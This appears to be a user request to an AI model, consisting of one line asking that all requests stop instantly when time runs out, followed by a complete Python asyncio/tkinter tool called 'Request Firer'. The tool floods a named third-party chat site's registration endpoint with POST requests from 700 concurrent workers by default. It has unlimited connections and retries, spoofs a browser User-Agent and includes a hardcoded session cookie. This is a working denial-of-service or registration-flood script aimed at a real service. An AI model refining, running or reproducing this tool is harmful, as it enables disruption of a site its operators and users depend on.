when time runs out, stop all requests as fast as possible to instantly relieve the pressure on the server

import asyncio
import aiohttp
import time
from aiohttp import ClientSession, ClientConnectorError, ClientResponseError, TCPConnector
import signal
import sys
import logging
import tkinter as tk
from tkinter import ttk, messagebox
from threading import Thread

# Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php"
HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/130.0.0.0 Safari/537.36"
    ),
    "Cookie": (
        "PHPSESSID=a0egur4jmuetnvdktqmbkphhst; domain=furrychat.net; path=/"
    )
}
DEFAULT_CONCURRENCY = 700  # Consider making this configurable
TIMEOUT = aiohttp.ClientTimeout(total=5)
RETRY_LIMIT = 3  # Number of retries for failed requests
QUEUE_SIZE = 5000  # Maximum number of pending requests in the queue
REPORT_INTERVAL = 5  # Seconds between performance reports

class RequestFirer:
    def __init__(self, duration, logger=None):
        self.duration = duration
        self.success_count = 0
        self.failure_count = 0
        self.total_response_time = 0.0
        self.counter_lock = asyncio.Lock()
        self.stop_event = asyncio.Event()
        self.logger = logger or self.setup_logger()
    
    def setup_logger(self):
        logger = logging.getLogger("RequestFirer")
        logger.setLevel(logging.INFO)
        handler = logging.StreamHandler(sys.stdout)
        formatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
        handler.setFormatter(formatter)
        logger.addHandler(handler)
        return logger
    
    async def send_request(self, session: ClientSession, request_id: int):
        backoff = 0.1
        for attempt in range(1, RETRY_LIMIT + 1):
            try:
                start = time.time()
                async with session.post(URL, headers=HEADERS, timeout=TIMEOUT) as response:
                    response_time = time.time() - start
                    async with self.counter_lock:
                        self.total_response_time += response_time
                        if response.status == 200:
                            self.success_count += 1
                            self.logger.debug(f"Request {request_id} succeeded.")
                        else:
                            self.failure_count += 1
                            self.logger.debug(f"Request {request_id} failed with status {response.status}.")
                    break
            except (ClientConnectorError, ClientResponseError, asyncio.TimeoutError, aiohttp.ClientOSError) as e:
                async with self.counter_lock:
                    self.failure_count += 1
                self.logger.debug(f"Request {request_id} failed on attempt {attempt}: {e}")
                if attempt >= RETRY_LIMIT:
                    self.logger.error(f"Request {request_id} failed after {RETRY_LIMIT} attempts.")
                    break
                await asyncio.sleep(backoff)
                backoff *= 2
    
    async def worker(self, name: int, session: ClientSession, queue: asyncio.Queue):
        while not self.stop_event.is_set():
            try:
                request_id = await asyncio.wait_for(queue.get(), timeout=1.0)
            except asyncio.TimeoutError:
                continue
            if request_id is None:
                queue.task_done()
                break
            await self.send_request(session, request_id)
            queue.task_done()
    
    async def producer(self, queue: asyncio.Queue):
        request_id = 0
        while not self.stop_event.is_set():
            try:
                await queue.put(request_id)
                request_id += 1
            except asyncio.CancelledError:
                break
            except Exception as e:
                self.logger.error(f"Producer encountered an error: {e}")
                break
    
    async def report(self):
        last_success = 0
        last_failure = 0
        last_total_response_time = 0.0
        start_time = time.time()
        while not self.stop_event.is_set():
            await asyncio.sleep(REPORT_INTERVAL)
            async with self.counter_lock:
                current_success = self.success_count
                current_failure = self.failure_count
                current_total_response_time = self.total_response_time
            interval_success = current_success - last_success
            interval_failure = current_failure - last_failure
            interval_response_time = current_total_response_time - last_total_response_time
            elapsed = time.time() - start_time
            avg_response_time = (interval_response_time / interval_success) if interval_success > 0 else 0
            self.logger.info(
                f"[Report] Time Elapsed: {elapsed:.2f}s | "
                f"Success: {current_success} (+{interval_success}), "
                f"Failure: {current_failure} (+{interval_failure}), "
                f"Avg Response Time: {avg_response_time:.2f}s"
            )
            last_success = current_success
            last_failure = current_failure
            last_total_response_time = current_total_response_time
    
    async def run(self, concurrency=DEFAULT_CONCURRENCY):
        connector = TCPConnector(
            limit=0,
            ssl=True,
            keepalive_timeout=30
        )
        async with aiohttp.ClientSession(connector=connector) as session:
            queue = asyncio.Queue(maxsize=QUEUE_SIZE)

            workers = [
                asyncio.create_task(self.worker(i, session, queue))
                for i in range(concurrency)
            ]

            producer_task = asyncio.create_task(self.producer(queue))

            reporter = asyncio.create_task(self.report())

            # Schedule stop_event after duration
            asyncio.create_task(self.schedule_stop())

            # Wait for stop_event
            await self.stop_event.wait()

            # Stop producer
            producer_task.cancel()
            try:
                await producer_task
            except asyncio.CancelledError:
                self.logger.info("Producer task cancelled.")

            # Wait until the queue is fully processed
            await queue.join()

            # Stop workers
            for _ in workers:
                await queue.put(None)
            await asyncio.gather(*workers, return_exceptions=True)
            self.logger.info("All worker tasks have been cancelled.")

            # Stop reporter
            reporter.cancel()
            try:
                await reporter
            except asyncio.CancelledError:
                self.logger.info("Reporter task cancelled.")
    
    async def schedule_stop(self):
        await asyncio.sleep(self.duration)
        self.logger.info(f"Specified duration of {self.duration} seconds elapsed. Stopping...")
        self.stop_event.set()
    
    def get_results(self):
        return self.success_count, self.failure_count, self.total_response_time

class GUIHandler(logging.Handler):
    def __init__(self, app):
        super().__init__()
        self.app = app

    def emit(self, record):
        msg = self.format(record)
        self.app.write(msg + "\n")

class Application(tk.Tk):
    def __init__(self):
        super().__init__()
        self.title("Request Firer")
        self.geometry("600x400")
        self.resizable(False, False)

        # Input for concurrency
        self.label_concurrency = ttk.Label(self, text="Concurrency:")
        self.label_concurrency.pack(pady=5)
        self.entry_concurrency = ttk.Entry(self)
        self.entry_concurrency.insert(0, str(DEFAULT_CONCURRENCY))
        self.entry_concurrency.pack(pady=5)

        # Input for duration
        self.label_duration = ttk.Label(self, text="Duration (seconds):")
        self.label_duration.pack(pady=5)
        self.entry_duration = ttk.Entry(self)
        self.entry_duration.insert(0, "60")  # Default 60 seconds
        self.entry_duration.pack(pady=5)

        # Start button
        self.start_button = ttk.Button(self, text="Start", command=self.start_firing)
        self.start_button.pack(pady=20)

        # Status display
        self.status_text = tk.Text(self, height=15, state='disabled', wrap='word')
        self.status_text.pack(pady=5, padx=10, fill='both', expand=True)

        # Initialize logger for GUI
        self.logger = self.setup_logger()

    def setup_logger(self):
        logger = logging.getLogger("GUILogger")
        logger.setLevel(logging.INFO)
        handler = GUIHandler(self)
        formatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
        handler.setFormatter(formatter)
        logger.addHandler(handler)
        return logger

    def write(self, message):
        self.status_text.configure(state='normal')
        self.status_text.insert(tk.END, message)
        self.status_text.see(tk.END)
        self.status_text.configure(state='disabled')

    def flush(self):
        pass  # Not needed for tkinter

    def start_firing(self):
        try:
            concurrency = int(self.entry_concurrency.get())
            duration = int(self.entry_duration.get())
            if concurrency <= 0 or duration <= 0:
                raise ValueError
        except ValueError:
            messagebox.showerror("Invalid Input", "Please enter positive integer values for concurrency and duration.")
            return

        self.start_button.config(state='disabled')
        self.logger.info("Starting RequestFirer...")

        self.request_firer = RequestFirer(duration, logger=self.logger)
        thread = Thread(target=self.run_asyncio_loop, args=(concurrency,), daemon=True)
        thread.start()

    def run_asyncio_loop(self, concurrency):
        try:
            asyncio.run(self.request_firer.run(concurrency=concurrency))
        except Exception as e:
            self.logger.error(f"An error occurred: {e}")
        success, failure, total_time = self.request_firer.get_results()
        self.logger.info("Firing complete.")
        self.logger.info(f"Total Successful Requests: {success}")
        self.logger.info(f"Total Failed Requests: {failure}")
        messagebox.showinfo("Completed", f"Firing complete.\nSuccess: {success}\nFailure: {failure}")
        self.start_button.config(state='normal')

if __name__ == "__main__":
    app = Application()
    app.mainloop()